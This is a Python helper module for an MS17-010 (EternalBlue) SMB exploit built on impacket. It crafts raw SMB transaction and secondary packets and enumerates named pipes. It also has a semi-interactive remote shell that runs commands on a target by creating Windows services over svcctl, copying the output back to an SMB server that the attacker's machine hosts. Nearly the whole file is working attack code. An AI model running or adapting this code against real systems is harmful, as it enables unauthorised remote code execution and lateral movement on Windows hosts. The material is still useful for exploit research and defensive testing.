mysmb.py

# impacket SMB extension for MS17-010 exploit.
# this file contains only valid SMB packet format operation.
from impacket import smb, smbconnection, smbserver
from impacket.dcerpc.v5 import transport, scmr
from struct import pack
from threading import Thread
import os
import cmd
try:
    import ConfigParser
except ImportError:
    import configparser as ConfigParser
import string
import random
import logging

SMBSERVER_DIR   = '__tmp'
DUMMY_SHARE     = 'TMP'

def getNTStatus(self):
    return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)

############# SMB_COM_TRANSACTION_SECONDARY (0x26)
class SMBTransactionSecondary_Parameters(smb.SMBCommand_Parameters):
    structure = (
        ('TotalParameterCount','<H=0'),
        ('TotalDataCount','<H'),
        ('ParameterCount','<H=0'),
        ('ParameterOffset','<H=0'),
        ('ParameterDisplacement','<H=0'),
        ('DataCount','<H'),
        ('DataOffset','<H'),
        ('DataDisplacement','<H=0'),
)

# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters(smb.SMBCommand_Parameters):
    structure = (
        ('TotalParameterCount','<H=0'),
        ('TotalDataCount','<H'),
        ('ParameterCount','<H=0'),
        ('ParameterOffset','<H=0'),
        ('ParameterDisplacement','<H=0'),
        ('DataCount','<H'),
        ('DataOffset','<H'),
        ('DataDisplacement','<H=0'),
        ('FID','<H=0'),
)

############# SMB_COM_NT_TRANSACTION_SECONDARY (0xA1)
class SMBNTTransactionSecondary_Parameters(smb.SMBCommand_Parameters):
    structure = (
        ('Reserved1','3s=""'),
        ('TotalParameterCount','<L'),
        ('TotalDataCount','<L'),
        ('ParameterCount','<L'),
        ('ParameterOffset','<L'),
        ('ParameterDisplacement','<L=0'),
        ('DataCount','<L'),
        ('DataOffset','<L'),
        ('DataDisplacement','<L=0'),
        ('Reserved2','<B=0'),
    )


def _put_trans_data(transCmd, parameters, data, noPad=False):
    # have to init offset before calling len()
    transCmd['Parameters']['ParameterOffset'] = 0
    transCmd['Parameters']['DataOffset'] = 0

    # SMB header: 32 bytes
    # WordCount: 1 bytes
    # ByteCount: 2 bytes
    # Note: Setup length is included when len(param) is called
    offset = 32 + 1 + len(transCmd['Parameters']) + 2

    transData = b''
    if len(parameters):
        padLen = 0 if noPad else (4 - offset % 4 ) % 4
        transCmd['Parameters']['ParameterOffset'] = offset + padLen
        transData = (b'\x00' * padLen) + parameters
        offset += padLen + len(parameters)

    if len(data):
        padLen = 0 if noPad else (4 - offset % 4 ) % 4
        transCmd['Parameters']['DataOffset'] = offset + padLen
        transData += (b'\x00' * padLen) + str.encode(data)

    transCmd['Data'] = transData


origin_NewSMBPacket_addCommand = getattr(smb.NewSMBPacket, "addCommand")
login_MaxBufferSize = 61440
def NewSMBPacket_addCommand_hook_login(self, command):
    # restore NewSMBPacket.addCommand
    setattr(smb.NewSMBPacket, "addCommand", origin_NewSMBPacket_addCommand)

    if isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Extended_Parameters):
        command['Parameters']['MaxBufferSize'] = login_MaxBufferSize
    elif isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Parameters):
        command['Parameters']['MaxBuffer'] = login_MaxBufferSize

    # call original one
    origin_NewSMBPacket_addCommand(self, command)

def _setup_login_packet_hook(maxBufferSize):
    # setup hook for next NewSMBPacket.addCommand if maxBufferSize is not None
    if maxBufferSize is not None:
        global login_MaxBufferSize
        login_MaxBufferSize = maxBufferSize
        setattr(smb.NewSMBPacket, "addCommand", NewSMBPacket_addCommand_hook_login)


class MYSMB(smb.SMB):
    def __init__(self, remote_host, use_ntlmv2=True, timeout=8):
        self.__use_ntlmv2 = use_ntlmv2
        self._default_tid = 0
        self._pid = os.getpid() & 0xffff
        self._last_mid = random.randint(1000, 20000)
        if 0x4000 <= self._last_mid <= 0x4110:
            self._last_mid += 0x120
        self._pkt_flags2 = 0
        self._last_tid = 0  # last tid from connect_tree()
        self._last_fid = 0  # last fid from nt_create_andx()
        self._smbConn = None
        smb.SMB.__init__(self, remote_host, remote_host, timeout=timeout)

    def find_named_pipe(self, firstOnly=True):
        pipes_file = '/usr/share/metasploit-framework/data/wordlists/named_pipes.txt'
        try:
            with open(pipes_file) as f:
                pipes = [ x.strip() for x in f.readlines()]
        except IOError as e:
            print("[-] Could not open {}, trying hardcoded values".format(pipes_file))
            pipes = [ 'netlogon', 'lsarpc', 'samr', 'browser', 'spoolss', 'atsvc', 'DAV RPC SERVICE', 'epmapper', 'eventlog', 'InitShutdown', 'keysvc', 'lsass', 'LSM_API_service', 'ntsvcs', 'plugplay', 'protected_storage', 'router', 'SapiServerPipeS-1-5-5-0-70123', 'scerpc', 'srvsvc', 'tapsrv', 'trkwks', 'W32TIME_ALT', 'wkssvc','PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 'db2remotecmd' ]
        tid = self.tree_connect_andx('\\\\'+self.get_remote_host()+'\\'+'IPC$')
        found_pipes = []
        for pipe in pipes:
            try:
                fid = self.nt_create_andx(tid, pipe)
                self.close(tid, fid)
                found_pipes.append(pipe)
                print("[+] Found pipe '{}'".format(pipe))
                if firstOnly:
                    break
            except smb.SessionError as e:
                pass
        self.disconnect_tree(tid)
        if len(found_pipes) > 0:
            return found_pipes[0]
        else:
            return None

    def set_pid(self, pid):
        self._pid = pid

    def get_pid(self):
        return self._pid

    def set_last_mid(self, mid):
        self._last_mid = mid

    def next_mid(self):
        self._last_mid += random.randint(1, 20)
        if 0x4000 <= self._last_mid <= 0x4110:
            self._last_mid += 0x120
        return self._last_mid

    def get_smbconnection(self):
        if self._smbConn is None:
            self.smbConn = smbconnection.SMBConnection(self.get_remote_host(), self.get_remote_host(), existingConnection=self)
        return self.smbConn

    def get_dce_rpc(self, named_pipe):
        smbConn = self.get_smbconnection()
        rpctransport = transport.SMBTransport(self.get_remote_host(), self.get_remote_host(), filename='\\'+named_pipe, smb_connection=smbConn)
        return rpctransport.get_dce_rpc()

    # override SMB.neg_session() to allow forcing ntlm authentication
    def neg_session(self, extended_security=True, negPacket=None):
        smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)

    # to use any login method, SMB must not be used from multiple thread
    def login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None):
        _setup_login_packet_hook(maxBufferSize)
        smb.SMB.login(self, user, password, domain, lmhash, nthash)

    def login_standard(self, user, password, domain='', lmhash='', nthash='', maxBufferSize=None):
        _setup_login_packet_hook(maxBufferSize)
        smb.SMB.login_standard(self, user, password, domain, lmhash, nthash)

    def login_extended(self, user, password, domain='', lmhash='', nthash='', use_ntlmv2=True, maxBufferSize=None):
        _setup_login_packet_hook(maxBufferSize)
        smb.SMB.login_extended(self, user, password, domain, lmhash, nthash, use_ntlmv2)

    def connect_tree(self, path, password=None, service=smb.SERVICE_ANY, smb_packet=None):
        self._last_tid = smb.SMB.tree_connect_andx(self, path, password, service, smb_packet)
        return self._last_tid

    def get_last_tid(self):
        return self._last_tid

    def nt_create_andx(self, tid, filename, smb_packet=None, cmd=None, shareAccessMode=smb.FILE_SHARE_READ|smb.FILE_SHARE_WRITE, disposition=smb.FILE_OPEN, accessMask=0x2019f):
        self._last_fid = smb.SMB.nt_create_andx(self, tid, filename, smb_packet, cmd, shareAccessMode, disposition, accessMask)
        return self._last_fid

    def get_last_fid(self):
        return self._last_fid

    def set_default_tid(self, tid):
        self._default_tid = tid

    def set_pkt_flags2(self, flags):
        self._pkt_flags2 = flags

    def send_echo(self, data):
        pkt = smb.NewSMBPacket()
        pkt['Tid'] = self._default_tid

        transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
        transCommand['Parameters'] = smb.SMBEcho_Parameters()
        transCommand['Data'] = smb.SMBEcho_Data()

        transCommand['Parameters']['EchoCount'] = 1
        transCommand['Data']['Data'] = data
        pkt.addCommand(transCommand)

        self.sendSMB(pkt)
        return self.recvSMB()

    def do_write_andx_raw_pipe(self, fid, data, mid=None, pid=None, tid=None):
        writeAndX = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)
        writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters_Short()
        writeAndX['Parameters']['Fid'] = fid
        writeAndX['Parameters']['Offset'] = 0
        writeAndX['Parameters']['WriteMode'] = 4  # SMB_WMODE_WRITE_RAW_NAMED_PIPE
        writeAndX['Parameters']['Remaining'] = 12345  # can be any. raw named pipe does not use it
        writeAndX['Parameters']['DataLength'] = len(data)
        writeAndX['Parameters']['DataOffset'] = 32 + len(writeAndX['Parameters']) + 1 + 2 + 1 # WordCount(1), ByteCount(2), Padding(1)
        writeAndX['Data'] = '\x00' + data  # pad 1 byte

        self.send_raw(self.create_smb_packet(writeAndX, mid, pid, tid))
        return self.recvSMB()

    def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None):
        if mid is None:
            mid = self.next_mid()

        pkt = smb.NewSMBPacket()
        pkt.addCommand(smbReq)
        pkt['Tid'] = self._default_tid if tid is None else tid
        pkt['Uid'] = self._uid
        pkt['Pid'] = self._pid if pid is None else pid
        pkt['Mid'] = mid
        flags1, flags2 = self.get_flags()
        pkt['Flags1'] = flags1
        pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2

        if self._SignatureEnabled:
            pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE
            self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse)

        req = pkt.getData()
        return b'\x00'*2 + pack('>H', len(req)) + req

    def send_raw(self, data):
        self.get_socket().send(data)

    def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
        if maxSetupCount is None:
            maxSetupCount = len(setup)
        if totalParameterCount is None:
            totalParameterCount = len(param)
        if totalDataCount is None:
            totalDataCount = len(data)
        if maxParameterCount is None:
            maxParameterCount = totalParameterCount
        if maxDataCount is None:
            maxDataCount = totalDataCount
        transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION)
        transCmd['Parameters'] = smb.SMBTransaction_Parameters()
        transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
        transCmd['Parameters']['TotalDataCount'] = totalDataCount
        transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
        transCmd['Parameters']['MaxDataCount'] = maxDataCount
        transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
        transCmd['Parameters']['Flags'] = 0
        transCmd['Parameters']['Timeout'] = 0xffffffff
        transCmd['Parameters']['ParameterCount'] = len(param)
        transCmd['Parameters']['DataCount'] = len(data)
        transCmd['Parameters']['Setup'] = setup
        _put_trans_data(transCmd, param, data, noPad)
        return self.create_smb_packet(transCmd, mid, pid, tid)

    def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
        self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
        return self.recvSMB()

    def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
        transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION_SECONDARY)
        transCmd['Parameters'] = SMBTransactionSecondary_Parameters()
        transCmd['Parameters']['TotalParameterCount'] = len(param)
        transCmd['Parameters']['TotalDataCount'] = len(data)
        transCmd['Parameters']['ParameterCount'] = len(param)
        transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
        transCmd['Parameters']['DataCount'] = len(data)
        transCmd['Parameters']['DataDisplacement'] = dataDisplacement

        _put_trans_data(transCmd, param, data, noPad)
        return self.create_smb_packet(transCmd, mid, pid, tid)

    def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
        self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))

    def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
        if maxSetupCount is None:
            maxSetupCount = len(setup)
        if totalParameterCount is None:
            totalParameterCount = len(param)
        if totalDataCount is None:
            totalDataCount = len(data)
        if maxParameterCount is None:
            maxParameterCount = totalParameterCount
        if maxDataCount is None:
            maxDataCount = totalDataCount
        transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2)
        transCmd['Parameters'] = smb.SMBTransaction2_Parameters()
        transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
        transCmd['Parameters']['TotalDataCount'] = totalDataCount
        transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
        transCmd['Parameters']['MaxDataCount'] = maxDataCount
        transCmd['Parameters']['MaxSetupCount'] = len(setup)
        transCmd['Parameters']['Flags'] = 0
        transCmd['Parameters']['Timeout'] = 0xffffffff
        transCmd['Parameters']['ParameterCount'] = len(param)
        transCmd['Parameters']['DataCount'] = len(data)
        transCmd['Parameters']['Setup'] = setup
        _put_trans_data(transCmd, param, data, noPad)
        return self.create_smb_packet(transCmd, mid, pid, tid)

    def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
        transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
        transCmd['Parameters'] = SMBTransaction2Secondary_Parameters()
        transCmd['Parameters']['TotalParameterCount'] = len(param)
        transCmd['Parameters']['TotalDataCount'] = len(data)
        transCmd['Parameters']['ParameterCount'] = len(param)
        transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
        transCmd['Parameters']['DataCount'] = len(data)
        transCmd['Parameters']['DataDisplacement'] = dataDisplacement

        _put_trans_data(transCmd, param, data, noPad)
        return self.create_smb_packet(transCmd, mid, pid, tid)

    def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
        self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))

    def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
        if maxSetupCount is None:
            maxSetupCount = len(setup)
        if totalParameterCount is None:
            totalParameterCount = len(param)
        if totalDataCount is None:
            totalDataCount = len(data)
        if maxParameterCount is None:
            maxParameterCount = totalParameterCount
        if maxDataCount is None:
            maxDataCount = totalDataCount
        transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
        transCmd['Parameters'] = smb.SMBNTTransaction_Parameters()
        transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
        transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
        transCmd['Parameters']['TotalDataCount'] = totalDataCount
        transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
        transCmd['Parameters']['MaxDataCount'] = maxDataCount
        transCmd['Parameters']['ParameterCount'] = len(param)
        transCmd['Parameters']['DataCount'] = len(data)
        transCmd['Parameters']['Function'] = function
        transCmd['Parameters']['Setup'] = setup
        _put_trans_data(transCmd, param, data, noPad)
        return self.create_smb_packet(transCmd, mid, pid, tid)

    def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
        self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
        return self.recvSMB()

    def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
        transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY)
        transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters()
        transCmd['Parameters']['TotalParameterCount'] = len(param)
        transCmd['Parameters']['TotalDataCount'] = len(data)
        transCmd['Parameters']['ParameterCount'] = len(param)
        transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
        transCmd['Parameters']['DataCount'] = len(data)
        transCmd['Parameters']['DataDisplacement'] = dataDisplacement
        _put_trans_data(transCmd, param, data, noPad)
        return self.create_smb_packet(transCmd, mid, pid, tid)

    def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
        self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))

    def recv_transaction_data(self, mid, minLen):
        data = b''
        while len(data) < minLen:
            recvPkt = self.recvSMB()
            if recvPkt['Mid'] != mid:
                continue
            resp = smb.SMBCommand(recvPkt['Data'][0])
            data += resp['Data'][1:]  # skip padding
            #print(len(data))
        return data

class RemoteShell(cmd.Cmd):
    def __init__(self, share, rpc, mode, serviceName):
        cmd.Cmd.__init__(self)
        self.__share = share
        self.__mode = mode
        self.__outputFilename = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
        self.__output = '\\\\%COMPUTERNAME%\\{}\\{}'.format(self.__share,self.__outputFilename)
        self.__batchFile = '%TEMP%\\{}.bat'.format(''.join([random.choice(string.ascii_letters) for _ in range(4)]))
        self.__outputBuffer = b''
        self.__command = ''
        self.__shell = '%COMSPEC% /Q /c '
        self.__serviceName = serviceName
        self.__rpc = rpc
        self.intro = '[!] Dropping a semi-interactive shell (remember to escape special chars with ^) \n[!] Executing interactive programs will hang shell!'
        self.__scmr = rpc.get_dce_rpc('svcctl')

        try:
            self.__scmr.connect()
        except Exception as e:
            logging.critical(str(e))
            sys.exit(1)

        s = rpc.get_smbconnection()

        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)
        if mode == 'SERVER':
            myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
            self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)

        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp['lpScHandle']
        self.transferClient = rpc.get_smbconnection()
        self.do_cd('')

    def finish(self):
        # Just in case the service is still created
        try:
           self.__scmr = self.__rpc.get_dce_rpc()
           self.__scmr.connect()
           self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
           resp = scmr.hROpenSCManagerW(self.__scmr)
           self.__scHandle = resp['lpScHandle']
           resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
           service = resp['lpServiceHandle']
           scmr.hRDeleteService(self.__scmr, service)
           scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
           scmr.hRCloseServiceHandle(self.__scmr, service)
        except scmr.DCERPCException:
           pass

    def do_shell(self, s):
        os.system(s)

    def do_exit(self, s):
        return True

    def emptyline(self):
        return False

    def do_cd(self, s):
        # We just can't CD or maintain track of the target dir.
        if len(s) > 0:
            logging.error("You can't CD under SMBEXEC. Use full paths.")

        self.execute_remote('cd ' )
        if len(self.__outputBuffer) > 0:
            # Stripping CR/LF
            self.prompt = self.__outputBuffer.decode(errors='replace').replace('\r\n','') + '>'
            self.__outputBuffer = b''

    def do_CD(self, s):
        return self.do_cd(s)

    def default(self, line):
        if line != '':
            self.send_data(line)

    def get_output(self):
        def output_callback(data):
            self.__outputBuffer += data

        if self.__mode == 'SHARE':
            self.transferClient.getFile(self.__share, self.__outputFilename, output_callback)
            self.transferClient.deleteFile(self.__share, self.__outputFilename)
        else:
            fd = open(SMBSERVER_DIR + '/' + self.__outputFilename,'r')
            output_callback(fd.read().encode('utf-8'))
            fd.close()
            os.unlink(SMBSERVER_DIR + '/' + self.__outputFilename)

    def execute_remote(self, data):
        to_batch = '{} echo {} ^> {} 2^>^&1 > {}'.format(self.__shell, data, self.__output, self.__batchFile)
        command = '{} & {} {}'.format(to_batch, self.__shell, self.__batchFile)
        if self.__mode == 'SERVER':
            command += ' & ' + self.__copyBack
        command = '{} & del {}'.format(command, self.__batchFile )
        logging.debug('Executing %s' % command)
        resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName,
                                        lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
        service = resp['lpServiceHandle']

        try:
            scmr.hRStartServiceW(self.__scmr, service)
        except:
            pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output()
        #print(self.__outputBuffer)

    def send_data(self, data):
        self.execute_remote(data)
        print(self.__outputBuffer.decode(errors='replace'))
        self.__outputBuffer = b''

class SMBServer(Thread):
    def __init__(self):
        Thread.__init__(self)
        self.smb = None

    def cleanup_server(self):
        logging.info('Cleaning up..')
        try:
            os.unlink(SMBSERVER_DIR + '/smb.log')
        except:
            pass
        os.rmdir(SMBSERVER_DIR)

    def run(self):
        # Here we write a mini config for the server
        smbConfig = ConfigParser.ConfigParser()
        smbConfig.add_section('global')
        smbConfig.set('global','server_name','server_name')
        smbConfig.set('global','server_os','UNIX')
        smbConfig.set('global','server_domain','WORKGROUP')
        smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
        smbConfig.set('global','credentials_file','')

        # Let's add a dummy share
        smbConfig.add_section(DUMMY_SHARE)
        smbConfig.set(DUMMY_SHARE,'comment','')
        smbConfig.set(DUMMY_SHARE,'read only','no')
        smbConfig.set(DUMMY_SHARE,'share type','0')
        smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)

        # IPC always needed
        smbConfig.add_section('IPC$')
        smbConfig.set('IPC$','comment','')
        smbConfig.set('IPC$','read only','yes')
        smbConfig.set('IPC$','share type','3')
        smbConfig.set('IPC$','path','')

        self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
        logging.info('Creating tmp directory')
        try:
            os.mkdir(SMBSERVER_DIR)
        except Exception as e:
            logging.critical(str(e))
            pass
        logging.info('Setting up SMB Server')
        self.smb.processConfigFile()
        logging.info('Ready to listen...')
        try:
            self.smb.serve_forever()
        except:
            pass

    def stop(self):
        self.cleanup_server()
        self.smb.socket.close()
        self.smb.server_close()
        self._Thread__stop()